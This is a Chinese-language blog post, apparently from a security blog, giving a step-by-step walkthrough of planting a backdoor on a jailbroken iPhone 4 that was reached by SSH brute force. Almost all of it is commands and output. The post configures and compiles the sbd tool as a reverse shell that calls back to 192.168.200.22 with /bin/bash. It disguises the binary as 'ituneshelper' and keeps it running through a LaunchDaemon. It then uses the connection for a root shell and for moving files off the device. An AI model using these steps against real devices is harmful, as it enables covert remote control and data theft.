在IPhone/IPad上建立反弹后门 Secer's Blog - 记录互联网安全历程与个人成长经历

273L}ZR[0HZMFQHR5KC]{YL

小编:sbd是一款小型后门，且具有较强大的加密功能，是居家旅行杀人越货谋财害命之必备佳品（安全测试工具请勿非法使用），下载地址: http://packetstormsecurity.org/files/download/34401/sbd-1.36.tar.gz

在一次安全渗透测试中，我通过ssh暴力破解拿到了一台iphone4(已越狱)的权限。于是我成功的SSH连接上这台设备，安装了一个持久的TCP反弹后门（sbd-1.36 by Michel Blomgren）

接下来来详细说明所有的步骤：

1. 安装iphone-gcc:


iphone4:~ root# uname -an
Darwin iphone4 11.0.0 Darwin Kernel Version 11.0.0: Tue Nov 1 20:33:58 PDT 2011; root:xnu-1878.4.46~1/RELEASE_ARM_S5L8930X iPhone3,1 arm N90AP Darwin

iphone4:~ root# apt-get update
Get:1 http://repo.biteyourapple.net ./ Release.gpg [490B]
Hit http://cydia.zodttd.com stable Release.gpg
Hit http://apt.saurik.com ios/675.00 Release.gpg
Hit http://repo.insanelyi.com ./ Release.gpg
...

iphone4:~ root# apt-get install iphone-gcc
Reading package lists... Done
Building dependency tree
Reading state information... Done
...
Setting up ldid (610-5) ...
Setting up com.sull.iphone-gccheaders (1.0-11) ...
Setting up com.sull.fake-libgcc (1.0-2) ...
Setting up iphone-gcc (4.2-20080604-1-8) ...

iphone4:~/sbd-1.36 root# apt-get install make
Reading package lists... Done
Building dependency tree
Reading state information... Done
...
Unpacking make (from .../make_3.81-2_iphoneos-arm.deb) ...
Setting up make (3.81-2) ...

2. 下载sbd后门:

iphone4:~ root# wget http://packetstorm.tacticalflex.com/UNIX/netcat/sbd-1.36.tar.gz
--2012-04-23 23:50:43-- http://packetstorm.tacticalflex.com/UNIX/netcat/sbd-1.36.tar.gz
Resolving packetstorm.tacticalflex.com... 173.160.180.156
Connecting to packetstorm.tacticalflex.com|173.160.180.156|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 84093 (82K) [application/x-gzip]
Saving to: `sbd-1.36.tar.gz'

100%[======================================>] 84,093 66.3K/s in 1.2s

2012-04-23 23:50:45 (66.3 KB/s) - `sbd-1.36.tar.gz' saved [84093/84093]

iphone4:~ root# tar -zxvf sbd-1.36.tar.gz
sbd-1.36/
sbd-1.36/sbd.c
sbd-1.36/doexec.c
sbd-1.36/pel.c
sbd-1.36/aes.c
sbd-1.36/sha1.c
sbd-1.36/socket_code.h
sbd-1.36/pel.h
sbd-1.36/aes.h
sbd-1.36/sha1.h
sbd-1.36/sbd.h
sbd-1.36/doexec_unix.h
sbd-1.36/doexec_win32.h
sbd-1.36/readwrite.h
sbd-1.36/misc.h
sbd-1.36/Makefile
sbd-1.36/mktarball.sh
sbd-1.36/README
sbd-1.36/COPYING
sbd-1.36/CHANGES
sbd-1.36/binaries/
sbd-1.36/binaries/sbd.exe
sbd-1.36/binaries/sbdbg.exe

iphone4:~ root# cd sbd-1.36
iphone4:~/sbd-1.36 root# ls -al
total 224
drwx------ 3 1000 100 748 Sep 17 2004 ./
drwxr-x--- 6 root wheel 272 Apr 23 23:50 ../
-rw------- 1 1000 100 1876 Sep 17 2004 CHANGES
-rw------- 1 1000 100 18007 Jun 8 2004 COPYING
-rw------- 1 1000 100 2176 Jun 20 2004 Makefile
-rw------- 1 1000 100 4880 Sep 11 2004 README
-rw------- 1 1000 100 31370 Jun 12 2004 aes.c
-rw------- 1 1000 100 549 Jun 11 2004 aes.h
drwx------ 2 1000 100 136 Sep 11 2004 binaries/
-rw------- 1 1000 100 77 Jun 2 2004 doexec.c
-rw------- 1 1000 100 7114 Sep 11 2004 doexec_unix.h
-rw------- 1 1000 100 19060 Sep 8 2004 doexec_win32.h
-rw------- 1 1000 100 14968 Sep 9 2004 misc.h
-rwx------ 1 1000 100 624 Jun 13 2004 mktarball.sh*
-rw------- 1 1000 100 13381 Sep 8 2004 pel.c
-rw------- 1 1000 100 898 Sep 9 2004 pel.h
-rw------- 1 1000 100 9829 Sep 9 2004 readwrite.h
-rw------- 1 1000 100 20557 Sep 9 2004 sbd.c
-rw------- 1 1000 100 2014 Jun 8 2004 sbd.h
-rw------- 1 1000 100 8900 Jun 2 2004 sha1.c
-rw------- 1 1000 100 436 Jun 2 2004 sha1.h
-rw------- 1 1000 100 20800 Sep 9 2004 socket_code.h

3. 在编译前配置Sbd(我把Sbd配置成了一个守护进程,所有的参数包括反弹IP、端口、密码、加密设置等等):

iphone4:~/sbd-1.36 root# cat sbd.h
#define SOURCE_PORT 0
#define CONVERT_TO_CRLF 0
#define ENCRYPTION 1
#define SHARED_SECRET "password"
#define QUIET 0
#define VERBOSE 0
#define DAEMONIZE 0
#define HIGHLIGHT_INCOMING 0
#define HIGHLIGHT_PREFIX "\x1b[0;32m"
#define HIGHLIGHT_SUFFIX "\x1b[0m"
#define SEPARATOR_BETWEEN_PREFIX_AND_DATA ": "
#define RUN_ONLY_ONE_INSTANCE 0
#define INSTANCE_SEMAPHORE "shadowinteger_bd_semaphore"

/* connect to 192.168.200.22 on port 443 (https) and serve /bin/bash.
* reconnect every 10 seconds.
*/

#define DOLISTEN 0
#define HOST "192.168.200.22"
#define PORT 443
#define RESPAWN_ENABLED 1
#define RESPAWN_INTERVAL 10
#define EXECPROG "/bin/bash"

然后你可以选择性的使用以下参数：
host: ./sbd -l -p 443 -k 1234
server: ./sbd -r 10 -q -e /bin/sh -c on -k 1234 -D on 192.168.200.22 443

4. 编译过程:

iphone4:~/sbd-1.36 root# make
usage:
make unix - Linux, NetBSD, FreeBSD, OpenBSD
make sunos - SunOS (Solaris)
make win32 - native win32 console app (w/ Cygwin + MinGW)
make win32bg - create a native win32 no-console app (w/ Cygwin + MinGW)
make win32bg CFLAGS=-DSTEALTH - stealthy no-console app
make mingw - native win32 console app (w/ MinGW MSYS)
make mingwbg - native win32 no-console app (w/ MinGW MSYS)
make cygwin - Cygwin console app
make darwin - Darwin

iphone4:~/sbd-1.36 root# make darwin
rm -f sbd sbd.exe *.o core
gcc -Wall -Wshadow -O2 -o sbd pel.c aes.c sha1.c doexec.c sbd.c
strip sbd

iphone4:~/sbd-1.36 root# ls -al sbd
-rwxr-xr-x 1 root 100 55296 Apr 24 02:10 sbd*

5. 配置守护进程 (为了持久)

iphone4:~/sbd-1.36 root# cp sbd /usr/bin/ituneshelper
iphone4:~/sbd-1.36 root# cd /Library/LaunchDaemons/
iphone4:/Library/LaunchDaemons root# ls -al
total 16
drwxr-xr-x 2 root wheel 136 Apr 24 02:02 ./
drwxrwxr-x 18 root admin 816 Dec 31 15:38 ../
-rw-r--r-- 1 root wheel 847 Feb 15 2011 com.openssh.sshd.plist
iphone4:/Library/LaunchDaemons root# cat << EOF >> com.ituneshelper.start.plist
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.ituneshelper.start</string>
<key>ProgramArguments</key>
<array>
<string>/usr/bin/ituneshelper</string>
</array>
<key>RunAtLoad</key>
<true/>
<key>StartInterval</key>
<integer>1</integer>
</dict>
</plist>
EOF
iphone4:/Library/LaunchDaemons root# ls -al
total 16
drwxr-xr-x 2 root wheel 136 Apr 24 02:15 ./
drwxrwxr-x 18 root admin 816 Dec 31 15:38 ../
-rw-r--r-- 1 root wheel 404 Apr 24 02:01 com.ituneshelper.start.plist
-rw-r--r-- 1 root wheel 847 Feb 15 2011 com.openssh.sshd.plist

6. 连接(from Linux box):

root@coresec:~# uname -an
Linux coresec 3.0.0-17-generic #30-Ubuntu SMP Thu Mar 8 20:45:39 UTC 2012 x86_64 x86_64 x86_64 GNU/Linux
root@coresec:~# ifconfig
eth0      Link encap:Ethernet  HWaddr 00:0c:29:03:72:5e
          inet addr:192.168.200.22  Bcast:192.168.200.255  Mask:255.255.255.0
          inet6 addr: fe80::20c:29ff:fe03:725e/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:14741 errors:0 dropped:0 overruns:0 frame:0
          TX packets:10042 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:20159805 (20.1 MB)  TX bytes:720669 (720.6 KB)

root@coresec:/home/enzo/sbd-1.36# ./sbd -l -p 443 -k password
id
uid=0(root) gid=0(wheel) groups=0(wheel)
/bin/bash -i
bash: no job control in this shell
bash-4.0# ps -ef
UID PID PPID C STIME TTY TIME CMD
0 1 0 0 0:00.00 ?? 0:00.95 /sbin/launchd
0 19 1 0 0:00.00 ?? 0:00.95 /usr/libexec/UserEventAgent -l System
0 21 1 0 0:00.00 ?? 0:00.68 /usr/sbin/notifyd
0 23 1 0 0:00.00 ?? 0:00.41 /usr/sbin/syslogd
0 25 1 0 0:00.00 ?? 0:01.64 /usr/libexec/configd
25 27 1 0 0:00.00 ?? 0:01.53 /System/Library/Frameworks/CoreTelephony.framework/Support/CommCenterClassic
501 29 1 0 0:00.00 ?? 0:12.27 /System/Library/CoreServices/SpringBoard.app/SpringBoard
501 33 1 0 0:00.00 ?? 0:00.60 /System/Library/PrivateFrameworks/ManagedConfiguration.framework/Support/profiled
0 37 1 0 0:00.00 ?? 0:00.81 /usr/libexec/lockdownd
0 43 1 0 0:00.00 ?? 0:00.56 /System/Library/CoreServices/powerd.bundle/powerd
0 49 1 0 0:00.00 ?? 0:19.04 /usr/libexec/locationd
0 55 1 0 0:00.00 ?? 0:00.21 /usr/bin/sbsettingsd
0 56 1 0 0:00.00 ?? 0:00.69 /usr/sbin/wifid
501 58 1 0 0:00.00 ?? 0:00.46 /System/Library/PrivateFrameworks/Ubiquity.framework/Versions/A/Support/ubd
501 71 1 0 0:00.00 ?? 0:01.99 /usr/sbin/mediaserverd
501 72 1 0 0:00.00 ?? 0:00.13 /System/Library/PrivateFrameworks/MediaRemote.framework/Support/mediaremoted
65 73 1 0 0:00.00 ?? 0:00.27 /usr/sbin/mDNSResponder -launchd
501 75 1 0 0:00.00 ?? 0:00.87 /System/Library/PrivateFrameworks/IMCore.framework/imagent.app/imagent
501 76 1 0 0:00.00 ?? 0:00.45 /System/Library/PrivateFrameworks/IAP.framework/Support/iapd
0 78 1 0 0:00.00 ?? 0:00.13 /usr/libexec/fseventsd
501 79 1 0 0:00.00 ?? 0:00.92 /usr/sbin/fairplayd.N90
501 80 1 0 0:00.00 ?? 0:01.76 /System/Library/PrivateFrameworks/DataAccess.framework/Support/dataaccessd
501 86 1 0 0:00.00 ?? 0:00.45 /System/Library/PrivateFrameworks/ApplePushService.framework/apsd
501 87 1 0 0:00.00 ?? 0:00.34 /System/Library/PrivateFrameworks/AggregateDictionary.framework/Support/aggregated
501 92 1 0 0:00.00 ?? 0:00.39 /usr/sbin/BTServer
501 93 1 0 0:00.00 ?? 0:00.99 /usr/sbin/aosnotifyd
0 94 1 0 0:00.00 ?? 0:00.02 /usr/bin/ituneshelper
0 157 1 0 0:00.00 ?? 0:00.11 /usr/libexec/networkd
501 260 1 0 0:00.00 ?? 0:01.94 /Applications/MobileMail.app/MobileMail
501 261 1 0 0:00.00 ?? 0:00.75 /Applications/MobilePhone.app/MobilePhone
0 286 94 0 0:00.00 ?? 0:00.03 bash
0 300 286 0 0:00.00 ?? 0:00.03 /bin/bash -i
0 303 300 0 0:00.00 ?? 0:00.01 ps -ef

bash-4.0# uname -an
Darwin iphone4 11.0.0 Darwin Kernel Version 11.0.0: Tue Nov 1 20:33:58 PDT 2011; root:xnu-1878.4.46~1/RELEASE_ARM_S5L8930X iPhone3,1 arm N90AP Darwin

7. 如果你想与被控制的iphone间传送文件,你可以用以下参数使用sbd:

root@coresec:/home/enzo/sbd-1.36# sbd -l -p 12345 -k secret > output.file
iphone4:~/sbd-1.36 root# cat /.../.../input.file | ./sbd -k secret 192.168.200.22 12345

8. 删除后门也很简单:

iphone4:/Library/LaunchDaemons root# rm -rf com.ituneshelper.start.plist
iphone4:/Library/LaunchDaemons root# rm -rf /usr/bin/ituneshelper

在IPhone/IPad上建立反弹后门

Hacking more